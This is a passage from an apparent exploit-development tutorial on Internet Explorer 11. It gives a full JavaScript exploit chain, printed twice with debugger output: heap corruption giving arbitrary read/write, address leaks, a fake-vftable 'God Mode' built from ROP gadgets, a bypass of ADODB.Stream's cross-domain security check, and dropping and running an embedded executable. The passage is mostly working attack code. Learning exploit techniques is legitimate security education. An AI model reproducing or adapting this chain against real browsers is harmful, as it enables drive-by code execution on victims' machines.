Evaluate expression: 0 = 00000000

The address is 0. Why? Look again at the following picture:

Image may be NSFW.
Clik here to view.
pic_41

So, to initialize the pointer to object, we need to call CanCreateObject, i.e. we need to create an ActiveX object. Let’s change the javascript code this way:

<html>
<head>
<script language="javascript">
  new ActiveXObject("WScript.shell");
 
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000; ++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Repeat the process and try again to get the address of the object:

0:005> ? poi(03411150+28)
Evaluate expression: 51459608 = 03113618
0:005> ? poi(03113618+4)
Evaluate expression: 51075360 = 030b5920
0:005> ? poi(030b5920+1f0)
Evaluate expression: 6152384 = 005de0c0
0:005> dd 005de0c0
005de0c0  6d0f55e0 00000001 6c4d7408 00589620
005de0d0  6c532ac0 00000000 00000000 00000000
005de0e0  00000005 00000000 3fd6264b 8c000000
005de0f0  005579b8 005de180 005579b8 5e6c858f
005de100  47600e22 33eafe9a 7371b617 005a0a08
005de110  00000000 00000000 3fd62675 8c000000
005de120  005882d0 005579e8 00556e00 5e6c858f
005de130  47600e22 33eafe9a 7371b617 005ce140
0:005> ln 6d0f55e0
(6d0f55e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6d0f5ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>

Perfect: now it works!

Now we can complete our javascript code:

var old = read(mshtml+0xc555e0+0x14);

    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!

    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object

Note that we can use the “old” God Mode to create WScript.shell without showing the warning message.

Here’s the full code:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+

    var old = read(mshtml+0xc555e0+0x14);

    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!

    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);

    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

I snipped runcalc. You can download the full code from here: code2.

If you open the html file in IE without using SimpleServer, everything should work fine. But if you use SimpleServer and open the page by going to 127.0.0.1 in IE, then it doesn’t work. We’ve seen this error message before:

Image may be NSFW.
Clik here to view.
pic_35

Crossing Domains

The line of code which throws the error is the one indicated here:

function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       <----------------------------- error here
      tStream.Close();
      bStream.Close();
    }

The error message is “SCRIPT3716: Safety settings on this computer prohibit accessing a data source on another domain.“. So, let’s reload our html page using SimpleServer, change the length of the Int32Array and let the code throw the error. We note that some additional modules were loaded:

ModLoad: 0eb50000 0eb71000   C:\Windows\SysWOW64\wshom.ocx
ModLoad: 749d0000 749e2000   C:\Windows\SysWOW64\MPR.dll
ModLoad: 0eb80000 0ebaa000   C:\Windows\SysWOW64\ScrRun.dll
ModLoad: 0ebb0000 0ec0f000   C:\Windows\SysWOW64\SXS.DLL
ModLoad: 6e330000 6e429000   C:\Program Files (x86)\Common Files\System\ado\msado15.dll   <-------------
ModLoad: 72f00000 72f1f000   C:\Windows\SysWOW64\MSDART.DLL
ModLoad: 6e570000 6e644000   C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll
ModLoad: 74700000 74717000   C:\Windows\SysWOW64\bcrypt.dll
ModLoad: 72150000 72164000   C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 738c0000 738c2000   C:\Program Files (x86)\Common Files\System\ado\msader15.dll   <-------------
(15bc.398): C++ EH exception - code e06d7363 (first chance)
(15bc.398): C++ EH exception - code e06d7363 (first chance)

Two modules look particularly interesting: msado15.dll and msader15.dll. They’re located in the directory ado. It doesn’t take a genius to understand, or at least suspect, that those modules are related to ADODB.

Let’s see if we can find a function named SaveToFile in one of those two modules:

0:004> x msad*!*savetofile*
6e3e9ded          msado15!CStream::SaveToFile (<no parameter info>)
6e3ccf19          msado15!CRecordset::SaveToFile (<no parameter info>)

The first function seems to be what we’re looking for. Let’s put a breakpoint on it and reload the page. As we hoped, the execution breaks on msado15!CStream::SaveToFile. The name of the function suggests that the module is written in C++ and that SaveToFile is a method of the class CStream. ESI should point to an object of that class:

0:007> dd esi
0edbb328  6e36fd28 6e36fd00 6e36fcf0 6e33acd8
0edbb338  00000004 00000000 00000000 00000000
0edbb348  00000000 00000000 00000000 6e36fce0
0edbb358  6e33acc0 6e36fccc 00000000 00000904
0edbb368  00000001 04e4c2bc 00000000 6e36fc94
0edbb378  0edbb3b8 00000000 0edbb490 00000000
0edbb388  00000001 ffffffff 00000000 00000000
0edbb398  00000007 000004b0 00000000 00000000
0:007> ln poi(esi)
(6e36fd28)   msado15!ATL::CComObject<CStream>::`vftable'   |  (6e36fdb8)   msado15!`CStream::_GetEntries'::`2'::_entries
Exact matches:
    msado15!ATL::CComObject<CStream>::`vftable' = <no type information>

OK, it seems we’re on the right track.

Now let’s step through SaveToFile to find out where it fails. During our tracing we come across a very interesting call:

6e3ea0a9 0f8496000000    je      msado15!CStream::SaveToFile+0x358 (6e3ea145)
6e3ea0af 50              push    eax
6e3ea0b0 53              push    ebx
6e3ea0b1 e88f940000      call    msado15!SecurityCheck (6e3f3545)     <-------------------
6e3ea0b6 83c408          add     esp,8
6e3ea0b9 85c0            test    eax,eax
6e3ea0bb 0f8d84000000    jge     msado15!CStream::SaveToFile+0x358 (6e3ea145)

SecurityCheck takes two parameters. Let’s start by examining the first one:

0:007> dd eax
04e4c2bc  00740068 00700074 002f003a 0031002f
04e4c2cc  00370032 0030002e 0030002e 0031002e
04e4c2dc  0000002f 00650067 00000000 6ff81c09
04e4c2ec  8c000000 000000e4 00000000 00000000
04e4c2fc  0024d46c 0024d46c 0024cff4 00000013
04e4c30c  00000000 0000ffff 0c000001 00000000
04e4c31c  00000000 6ff81c30 88000000 00000001
04e4c32c  0024eee4 00000000 6d74682f 61202c6c

Mmm… that looks like a Unicode string. Let’s see if we’re right:

0:007> du eax
04e4c2bc  "http://127.0.0.1/"

That’s the URL of the page! What about ebx? Let’s see:

0:007> dd ebx
001d30c4  003a0043 0055005c 00650073 00730072
001d30d4  0067005c 006e0061 00610064 0066006c
001d30e4  0041005c 00700070 00610044 00610074
001d30f4  004c005c 0063006f 006c0061 0054005c
001d3104  006d0065 005c0070 006f004c 005c0077
001d3114  00750072 0063006e 006c0061 002e0063
001d3124  00780065 00000065 00000000 00000000
001d3134  40080008 00000101 0075006f 00630072
0:007> du ebx
001d30c4  "C:\Users\gandalf\AppData\Local\T"
001d3104  "emp\Low\runcalc.exe"

That’s the full path of the file we’re trying to create. Is it possible that those two URLs/paths are related to the domains the error message is referring to? Maybe the two domains are http://127.0.0.1/ and C:\.

Probably, SecurityCheck checks that the two arguments represent the same domain.

Let’s see what happens if we modify the first parameter:

0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc  "C:\"

The command ezu is used to (e)dit a (z)ero-terminated (u)nicode string. Now that we modified the second argument, let’s resume execution and see what happens.

The calculator pops up!!! Yeah!!!

Now we need a way to do the same from javascript. Is it possible? The best way to find out is to disassemble msado15.dll with IDA. Once in IDA, search for the function SecurityCheck (CTRL+P and click on Search), then click on the signature of SecurityCheck, press CTRL+X and double click on CStream::SaveToFile. Function SaveToFile is huge, but let’s not worry too much about it. We just need to analyze a very small portion of it. Let’s start by following the second argument:

Image may be NSFW.
Clik here to view.
pic_46

As we can see, EAX comes from [ESI+44h]. ESI should be the pointer this, which points to the current CStream object, but let’s make sure of it. In order to analyze the graph more comfortably, we can group all the nodes which are below the node with the call to SecurityCheck. To do so, zoom out by holding down CTRL while rotating the mouse wheel, select the nodes by holding down CTRL and using the mouse left button, and, finally, right click and select Group nodes. Here’s the reduced graph:

Image may be NSFW.
Clik here to view.
pic_47

It’s quite clear that ESI is indeed the pointer this. This is good because the variable bStream in our javascript probably points to the same object. Let’s find out if we’re right. To do so, let’s leak bStream by modifying our javascript code as follows:

function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      alert(get_addr(bStream).toString(16));        // <-----------------------------
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }

Load the page in IE using SimpleServer and in WinDbg put a breakpoint on SaveToFile:

bm msado15!CStream::SaveToFile

The alert box will pop up with the address of bStream. In my case, the address is 3663f40h. After we close the alert box, the breakpoint is triggered. The address of the CStream is ESI, which in my case is 0e8cb328h. Let’s examine the memory at the address 3663f40h (our bStream):

0:007> dd 3663f40h
03663f40  71bb34c8 0e069a00 00000000 0e5db030
03663f50  05a30f50 03663f14 032fafd4 00000000
03663f60  71c69a44 00000008 00000009 00000000
03663f70  0e8cb248 00000000 00000000 00000000
03663f80  71c69a44 00000008 00000009 00000000
03663f90  0e8cb328 00000000 00000000 00000000    <------------- ptr to CStream!
03663fa0  71c69a44 00000008 00000009 00000000
03663fb0  0e8cb248 00000000 00000000 00000000

We can see that at offset 0x50 we have the pointer to the object CStream whose SaveToFile method is called in msado15.dll. Let’s see if we can reach the string http://127.0.0.1, which is the one we’d like to modify:

0:007> ? poi(3663f40+50)
Evaluate expression: 244101928 = 0e8cb328
0:007> du poi(0e8cb328+44)
04e5ff14  "http://127.0.0.1/"

Perfect!

Now we must determine the exact bytes we want to overwrite the original string with. Here’s an easy way of doing that:

0:007> ezu 04e5ff14 "C:\\"
0:007> dd 04e5ff14
04e5ff14  003a0043 0000005c 002f003a 0031002f
04e5ff24  00370032 0030002e 0030002e 0031002e
04e5ff34  0000002f 00000000 00000000 58e7b7b9
04e5ff44  8e000000 00000000 bf26faff 001a8001
04e5ff54  00784700 00440041 0044004f 002e0042
04e5ff64  00740053 00650072 006d0061 df6c0000
04e5ff74  0000027d 58e7b7be 8c000000 00000000
04e5ff84  00c6d95d 001c8001 00784300 00530057

So we need to overwrite the string with 003a0043 0000005c.

Change the code as follows:

function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      
      tStream.Close();
      bStream.Close();
    }

Load the page in IE and, finally, everything should work fine!

Here’s the complete code for your convenience:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
    
    CollectGarbage();

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+

    var old = read(mshtml+0xc555e0+0x14);

    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!

    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);

    alert("All done!");
  })();

</script>
</head>
